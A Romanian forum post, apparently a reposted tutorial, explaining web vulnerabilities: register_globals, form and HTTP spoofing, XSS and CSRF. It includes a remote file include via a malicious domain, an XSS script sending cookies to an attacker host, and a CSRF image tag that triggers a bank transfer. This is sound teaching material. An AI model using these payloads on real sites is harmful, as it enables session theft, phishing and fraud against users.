Securitatea aplicatiilor web part 2

[bogdi19]

Ce este securitatea WEB?

Securitatea este o trasatura masurabila si nu definitorie a unei aplicatii web. Nu putem raspunde cu da si nu la o intrebare de tipul: Este o aplicatie web sigura ?. Intrebarea este subiectiva si un raspuns nu poate fi dat, fara a ne raporta la un efort (potential) de compromitere a aplicatiei.

Eforturile de securizare a unei aplicatii (sau componente a acesteia) sunt (sau trebuie sa fie) direct proportionale cu valoarea informatiei (sau cu efortul potential de compromitere a acesteia); exemple:

pentru aplicatii de tip social networking, informatiile legate de un cont sunt confidentiale, insa nu critice; in acest caz, nu se justifica implementari elaborate pentru securizarea acestora;

pentru aplicatii web bancare (magazine online), informatiile legate de un cont pot fi critice, si trebuie protejate ca atare;

Register Globals

Register Globals este o optiune ce poate fi modificata in fisierul php.ini, si are urmatoarea semnificatie: daca register_globals are valoarea On, atunci pentru fiecare pereche (cheie ? valoare) trimisa printr-un formular (prin metoda GET sau POST), o variabila globala $cheie avand valoarea “valoare”, va fi disponibila.

Fie urmatorul exemplu de cod:

if ($authenticated) {
    echo "Critical Code";
}

Observatii:

in codul de mai sus, o portiune critica de cod se executa doar daca $authenticated are valoarea true

daca optiunea register_globals este On si accesam script-ul astfel: script.php?authenticated=true, atunci codul critic se va executa, in mod ne-corespunzator si ne-sigur.

Fie un alt exemplu:

include "$path/includeFile.php";

Un acces de forma: script.php?path=evildomain.com, avand register_globals activat, va produce includerea fisierului evildomain.com/includeFile.php, care poate contine un script malitios (care sterge baza de date, de exemplu);

Securitatea WEB – Form spoofing

Fie urmatorul exemplu de formular HTML:

<form action="script.php" method="POST">
<select name="color">
    <option value="red">red</option>
    <option value="green">green</option>
    <option value="blue">blue</option>
</select>
<input type="submit" />
</form>

Formularul de mai sus permite unui utilizator sa selecteze dintr-o lista, o culoare posibila. Aparent, valorile valide trimise scriptului script.php, sunt limitate din interfata, la cele trei valori: red, green, blue. Fie insa urmatorul formular malitios, care poate fi trimis de catre oricine, scriptului nostru:

<form action="script.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>

Se observa cu usurinta ca, folosind acest formular, oricine poate trimite orice valoare, folosind numele color.

HTTP Spoofing

Putem extinde abordarea de mai sus, falsificand nu doar un formular, ci o cerere HTTP efectiva. Fie urmatorul script:

var_dump($_GET);

si urmatorul cod care trimite o cerere HTTP catre scriptul de mai sus:

$http_response = '';

$fp = fsockopen('localhost', 80);

fputs($fp, "GET /script.php?key1=value1&key2=value2 HTTP/1.1\r\n");
fputs($fp, "Host: localhost\r\n\r\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}
fclose($fp);

echo nl2br(htmlentities($http_response));

Observatii:

codul de mai sus deschide o conexiune la port-ul 80 al localhost, si trimite o cerere HTTP de tip GET, catre script.php;

functia fputs scrie pe socket;

functia fgets citeste cate 128 octeti de la socket, pana cand nici o informatie nu mai este disponibila;

functia nl2br adauga ”

” de cate ori intalneste “n”;

functia htmlentities transforma tag-urile HTML in caractere efective (utila pentru a putea afisa efectiv codul HTML, fara a fi interpretat de brower)

Cross site scripting (XSS)

Acest mecanism de compromitere a securitatii se bazeaza pe faptul ca, de multe ori, o aplicatie web publica informatii trimise de utilizatorii ei, fara a verifica continutul. Spre exemplu, o aplicatie care afiseaza mesajele utilizatorilor (spre exemplu un forum), poate primi urmatorul mesaj:

<script>
document.location = 'http://www.google.ro'
</script>

Efecte

Compromiterea functionarii aplicatiei

Trimiterea acestui mesaj pe un forum ne-protejat, ar produce ne-functionarea forumului. Orice utilizator care acceseaza pagina in care acest mesaj este publicat, va fi re-directionat catre ‘www.google.ro’.

Compromiterea datelor utilizatorului – Varianta 1

Sa presupunem ca mesajul postat este urmatorul:

<script>
document.location = 'http://www.randomforum.ro'
</script>

Unde site-ul randomforum.ro este unul care seamana (dpdv al interfetei) cu site-ul compromis, si in care, utilizatorului i se afiseaza un mesaj de forma “sesiune expirata, va rugam sa va re-autentificati”, urmat de un formular care cere introducerea username-ului si parolei.

Observatii:

din cauza re-directarii, utilizatorul nu este constient ca nu se mai afla pe pagina forumului, ci pe o pagina malitioasa

utilizatorul poate fi tentat sa se re-autentifice, expunandu-si astfel username-ul si parola catre site-ul malitios;

Compromiterea datelor utilizatorului – Varianta 2

Sa presupunem ca autentificarea utilizatorului se bazeaza pe cookie-uri, si ca acestea retin informatii critice legate de utilizator. Atunci urmatorul mesaj:

<script>
document.location = 'http://www.randomforum.ro/mal.php?cookies=' + document.cookie
</script>

Va produce trimiterea cookie-ului asociat utilizatorului, catre scriptul de pe evilforum.ro.

Observatii:

pe langa implementarea defectuoasa a mecanismului de post-uri, aceasta varianta exploateaza si flexibilitatea browserului, care nu este intotdeauna avantajoasa.

Cross Site Request Forgeries (CSRF)

Spre deosebire de Cross Site Scripting (XSS), care exploateaza increderea pe care un utilizator o are intr-un website, Cross Site Request Forgeries (CSRF) functioneaza invers, speculand increderea pe care un website o are in utilizatorii sai.

Fie urmatorul scenariu:

Bob are un cont bancar, si este autentificat pe o aplicatie ce gestioneaza acest cont; aplicatia foloseste cookie-uri pentru a retine informatii despre utilizatori;

Mallory are si el un cont bancar. De asemenea cunoaste faptul ca Bob este autentificat, si ii prezinta urmatorul link lui Bob:

<a href='http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory'> Hello </a>

Bob poate fi suspicios, alegand astfel sa nu urmeze acest link. Ce se intampla insa, daca acest link este ascuns pe o pagina aparent banala, ce contine urmatorul tag img:

<img src="http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory">

Continutul unei cereri HTTP

Cand un utilizator se autentifica (catre http://bank.example), si informatiile sunt retinute intr-un cookie, serverul va produce urmatorul raspuns, clientului proaspat autentificat:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value

(content of page)

Observati campul Set-Cookie care informeaza browserul ca un cookie a fost setat.

Orice cerere HTTP ulterioara catre http://bank.example va fi de forma:

GET /page.html HTTP/1.1
Host: bank.example
Cookie: name=value

Observati faptul ca cererea HTTP contine campul Cookie; browserul trimite serverului cookie-ul setat de acesta.

Din nefericire browserul nu face distinctie intre o cerere HTTP obisnuita, si o cerere HTTP pentru o imagine(de exemplu).

Motiv pentru care, cand intalneste tag-ul:

<img src="http://bank.example/withdraw.php?account=bob&amount=1000000&for=mallory">

browserul lui Bob, va construi urmatoarea cerere HTTP:

GET /withdraw.php?account=bob&amount=1000000&for=mallory HTTP/1.1
Host: bank.example
Cookie: name=value

Cum cookie-ul a fost setat pentru acest domeniu, browserul web va anexa acestei cerereri, campul Cookie: name=value.

Se vede limpede acum, faptul ca deschiderea unei simple pagini web care contine tag-ul img descris mai sus, va produce o modificare in contul bancar al lui Bob, in favoarea lui Mallory.

Cand functioneaza CSRF

Pentru ca CSRF sa functioneze, urmatoarele conditii trebuie indeplinite:

Atacatorul trebuie sa gaseasca o aplicatie care nu verifica campul Referer, din cererea HTTP. (Un astfel de camp este deobicei setat, si indica entitatea de unde s-a trimis pagina malitioasa (in exemplul nostru, Referer-ul este site-ul lui Mallory, care gazduieste pagina web ce contine tag-ul img malitios)

Atacatorul trebuie sa gaseasca o aplicatie ale caror URL-uri produc efecte secundare (Spre exemplu, withdraw.php, apartinand banking.example), ca urmare a trimiterii de formulare (prin metoda GET).

Atacatorul trebuie sa cunoasca valorile corecte ce trebuie trimise scriptului; (In exemplul nostru: account=bob&amount=1000000&for=mallory; cum insa Mallory are si el un cont bancar pe acelasi site, acest lucru este rezonabil); Insa daca formularul mai solicita si alte informatii (eventual o parola, sau output-ul unui captcha), atacul nu mai este posibil (in aceasta forma).

Atacatorul trebuie sa convinga victima sa acceseze un website malitios, in timp ce aceasta se afla autentificata pe site-ul tinta (bank.example)

Sursa: Tutoriale Video pentru Windows si Linux | Programare C Java PHP Android

Rog un moderator sau administrator sa editeze titlul(la mine nu vrea sa se actualizeze) si sa completeze part 1 in loc de part 2.

Multumesc!

Edited July 5, 2012 by bogdi19